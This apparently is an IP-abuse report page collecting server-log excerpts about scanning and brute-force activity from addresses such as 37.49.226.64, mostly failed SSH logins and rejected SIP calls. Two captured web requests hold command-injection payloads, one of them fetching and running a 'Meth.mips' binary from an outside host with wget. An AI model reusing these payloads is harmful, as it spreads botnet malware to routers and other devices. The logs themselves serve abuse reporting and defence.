2020-06-13T20:27:45.803940abusebot-2.cloudsearch.cf sshd[27995]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root
2020-06-13T20:27:47.326296abusebot-2.cloudsearch.cf sshd[27995]: Failed password for root from 37.49.226.64 port 54736 ssh2
2020-06-13T20:28:25.298624abusebot-2.cloudsearch.cf sshd[27997]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root
2020-06-13T20:28:27.980028abusebot-2.cloudsearch.cf sshd[27997]: Failed password for root from 37.49.226.64 port 54212 ssh2
2020-06-13T20:29:04.333455abusebot-2.cloudsearch.cf sshd[27999]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root
2020-06-13T20:29:06.367681abusebot-2.cloudsearch.cf sshd[27999]: Failed password for root from 37.49.226.64 port 54536 ssh2
2020-06-13T20:29:40.680354abusebot-2.cloudsearch.cf sshd[28001]: pam_unix(sshd:auth): authenticat
...

Jun 11 18:25:03 vt0 sshd[19399]: Did not receive identification string from 37.49.226.64 port 53796
Jun 11 18:25:26 vt0 sshd[19400]: Failed password for root from 37.49.226.64 port 42970 ssh2
...

2020-06-11T08:58:06.742168mail.broermann.family sshd[12010]: Failed password for root from 37.49.226.64 port 36726 ssh2
2020-06-11T08:58:43.009537mail.broermann.family sshd[12046]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root
2020-06-11T08:58:45.326776mail.broermann.family sshd[12046]: Failed password for root from 37.49.226.64 port 44892 ssh2
2020-06-11T08:59:21.538813mail.broermann.family sshd[12106]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root
2020-06-11T08:59:23.876275mail.broermann.family sshd[12106]: Failed password for root from 37.49.226.64 port 54690 ssh2
...

Jun  6 11:15:52 mail sshd\[24834\]: Invalid user ansible from 37.49.226.64
Jun  6 11:16:10 mail sshd\[24861\]: Invalid user apache from 37.49.226.64
Jun  6 11:16:30 mail sshd\[24866\]: Invalid user cisco from 37.49.226.64
Jun  6 11:16:51 mail sshd\[24870\]: Invalid user db2inst1 from 37.49.226.64
Jun  6 11:17:11 mail sshd\[24898\]: Invalid user demo from 37.49.226.64
...

Jun  4 15:32:22 dignus sshd[7535]: Failed password for root from 37.49.226.64 port 60000 ssh2
Jun  4 15:32:40 dignus sshd[7569]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root
Jun  4 15:32:42 dignus sshd[7569]: Failed password for root from 37.49.226.64 port 36798 ssh2
Jun  4 15:33:00 dignus sshd[7597]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root
Jun  4 15:33:03 dignus sshd[7597]: Failed password for root from 37.49.226.64 port 41872 ssh2
...

Cowrie Honeypot: 10 unauthorised SSH/Telnet login attempts between 2020-06-03T12:35:45Z and 2020-06-03T12:41:24Z

May 27 09:15:00 *host* sshd\[27736\]: Unable to negotiate with 37.49.226.64 port 33948: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 \[preauth\]

2020-05-23T16:00:32.516136abusebot-2.cloudsearch.cf sshd[27764]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root
2020-05-23T16:00:34.468578abusebot-2.cloudsearch.cf sshd[27764]: Failed password for root from 37.49.226.64 port 38807 ssh2
2020-05-23T16:01:02.574093abusebot-2.cloudsearch.cf sshd[27779]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root
2020-05-23T16:01:04.647918abusebot-2.cloudsearch.cf sshd[27779]: Failed password for root from 37.49.226.64 port 58972 ssh2
2020-05-23T16:01:33.504587abusebot-2.cloudsearch.cf sshd[27781]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root
2020-05-23T16:01:35.497175abusebot-2.cloudsearch.cf sshd[27781]: Failed password for root from 37.49.226.64 port 50908 ssh2
2020-05-23T16:02:03.371442abusebot-2.cloudsearch.cf sshd[27783]: pam_unix(sshd:auth): authenticat
...

SSH brutforce

Unauthorized access to SSH at 21/May/2020:20:57:07 +0000.

web-1 [ssh] SSH Attack

May 20 20:58:36 OPSO sshd\[19958\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root
May 20 20:58:38 OPSO sshd\[19958\]: Failed password for root from 37.49.226.64 port 56220 ssh2
May 20 20:59:03 OPSO sshd\[19975\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root
May 20 20:59:05 OPSO sshd\[19975\]: Failed password for root from 37.49.226.64 port 46208 ssh2
May 20 20:59:30 OPSO sshd\[19980\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.64  user=root

SSHD unauthorised connection attempt (b)

TCP ports : 465 / 587

TCP ports : 465 / 587

[2020-07-24 06:05:37] NOTICE[1277][C-00002857] chan_sip.c: Call from '' (37.49.226.39:61946) to extension '971441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:05:37] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:05:37.251-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="971441144630017",SessionID="0x7f1754318b48",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.39/61946",ACLName="no_extension_match"
[2020-07-24 06:06:27] NOTICE[1277][C-00002859] chan_sip.c: Call from '' (37.49.226.39:57469) to extension '9710441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:06:27] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:06:27.162-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="9710441144630017",SessionID="0x7f1754742008",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/3
...

[2020-07-23 02:28:17] NOTICE[1277][C-00002114] chan_sip.c: Call from '' (37.49.226.41:56352) to extension '199441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:28:17] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:28:17.484-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199441274066041",SessionID="0x7f175452b198",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.41/56352",ACLName="no_extension_match"
[2020-07-23 02:29:44] NOTICE[1277][C-00002115] chan_sip.c: Call from '' (37.49.226.41:56115) to extension '199810441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:29:44] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:29:44.136-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199810441274066041",SessionID="0x7f1754694fe8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/U
...

[-]:80 37.49.226.35 - - [16/Jul/2020:13:54:39 +0200] "POST /boaform/admin/formPing?target_addr=;'+payload+'%20/&waninf=1_INTERNET_R_VID_154 HTTP/1.1" 301 631 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.30.2.el6.x86_64"

37.49.226.35 - - [15/Jul/2020:05:16:28 -0500] "GET https://www.ad5gb.com/setup.cgi?next_file=afr.cfg&todo=syscmd&cmd=wget%20http://45.95.168.230/bins/Meth.mips%20-O%20/var/tmp/Meth.mips;%20chmod%20777%20/var/tmp/Meth.mips;%20/var/tmp/Meth.mips%20africo.exploit;%20rm%20-rf%20/var/tmp/Meth.mips&curpath=/¤tsetting.htm=1 HTTP/1.1" 400 346 400 346 0 0 452 416 605 295 0 DIRECT FIN FIN TCP_MISS

firewall-block, port(s): 5683/udp

Unauthorized connection attempt detected from IP address 37.49.226.4 to port 81

[2020-07-04 01:01:24] NOTICE[1197][C-00001132] chan_sip.c: Call from '' (37.49.226.37:49525) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:01:24] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:01:24.282-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d28136c98",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.37/49525",ACLName="no_extension_match"
[2020-07-04 01:04:58] NOTICE[1197][C-00001138] chan_sip.c: Call from '' (37.49.226.37:61836) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:04:58] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:04:58.923-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d288c4af8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.
...

 TCP (SYN) 37.49.226.4:58116 -> port 81, len 44

firewall-block, port(s): 81/tcp

 TCP (SYN) 37.49.226.4:43452 -> port 81, len 44

Unauthorized connection attempt detected from IP address 37.49.226.227 to port 23 [T]

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

445/tcp 445/tcp 445/tcp
[2019-07-03/15]3pkt

Jul 15 12:45:51 toyboy sshd[3804]: Invalid user odoo from 89.216.105.45
Jul 15 12:45:51 toyboy sshd[3804]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=89.216.105.45
Jul 15 12:45:53 toyboy sshd[3804]: Failed password for invalid user odoo from 89.216.105.45 port 52202 ssh2
Jul 15 12:45:53 toyboy sshd[3804]: Received disconnect from 89.216.105.45: 11: Bye Bye [preauth]
Jul 15 13:22:17 toyboy sshd[4625]: Invalid user mahesh from 89.216.105.45
Jul 15 13:22:17 toyboy sshd[4625]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=89.216.105.45
Jul 15 13:22:19 toyboy sshd[4625]: Failed password for invalid user mahesh from 89.216.105.45 port 47086 ssh2
Jul 15 13:22:19 toyboy sshd[4625]: Received disconnect from 89.216.105.45: 11: Bye Bye [preauth]
Jul 15 13:26:58 toyboy sshd[4680]: Invalid user nec from 89.216.105.45
Jul 15 13:26:58 toyboy sshd[4680]: pam_unix(sshd:auth): authentication failure; l........
-------------------------------

Jul 15 22:15:07 core01 sshd\[30119\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=112.85.42.174  user=root
Jul 15 22:15:09 core01 sshd\[30119\]: Failed password for root from 112.85.42.174 port 40318 ssh2
...

3389BruteforceFW21

Jul 15 22:28:32 meumeu sshd[28503]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=119.6.99.204 
Jul 15 22:28:34 meumeu sshd[28503]: Failed password for invalid user dan from 119.6.99.204 port 44698 ssh2
Jul 15 22:32:14 meumeu sshd[29266]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=119.6.99.204 
...

Jul 16 02:06:49 areeb-Workstation sshd\[6411\]: Invalid user bro from 45.55.15.134
Jul 16 02:06:49 areeb-Workstation sshd\[6411\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=45.55.15.134
Jul 16 02:06:51 areeb-Workstation sshd\[6411\]: Failed password for invalid user bro from 45.55.15.134 port 46917 ssh2
...

445/tcp 445/tcp 445/tcp...
[2019-05-17/07-15]9pkt,1pt.(tcp)

Unauthorized connection attempt from IP address 104.140.188.2 on Port 3389(RDP)

Jul 15 18:46:30 host sshd\[29337\]: Failed password for root from 80.151.229.8 port 20661 ssh2
Jul 15 18:54:27 host sshd\[33550\]: Failed password for root from 80.151.229.8 port 19434 ssh2
...

NAME : DE-NETCUP-SERVER-23-20190124 CIDR : 152.89.104.0/22 SYN Flood DDoS Attack Germany - block certain countries :) IP: 152.89.105.193  Denial-of-Service Attack (DoS) Detected and Blocked by ADMIN  - data recovery https://help-dysk.pl

2019-07-15T20:11:13.877284abusebot-5.cloudsearch.cf sshd\[26113\]: Invalid user ftpuser from 54.39.151.22 port 52140

Jul 15 22:09:10 MK-Soft-Root1 sshd\[18955\]: Invalid user postgres from 165.22.244.146 port 41980
Jul 15 22:09:10 MK-Soft-Root1 sshd\[18955\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=165.22.244.146
Jul 15 22:09:13 MK-Soft-Root1 sshd\[18955\]: Failed password for invalid user postgres from 165.22.244.146 port 41980 ssh2
...

Jul 15 22:05:34 * sshd[19397]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=139.59.180.53
Jul 15 22:05:36 * sshd[19397]: Failed password for invalid user applmgr from 139.59.180.53 port 42964 ssh2

failed_logins

$f2bV_matches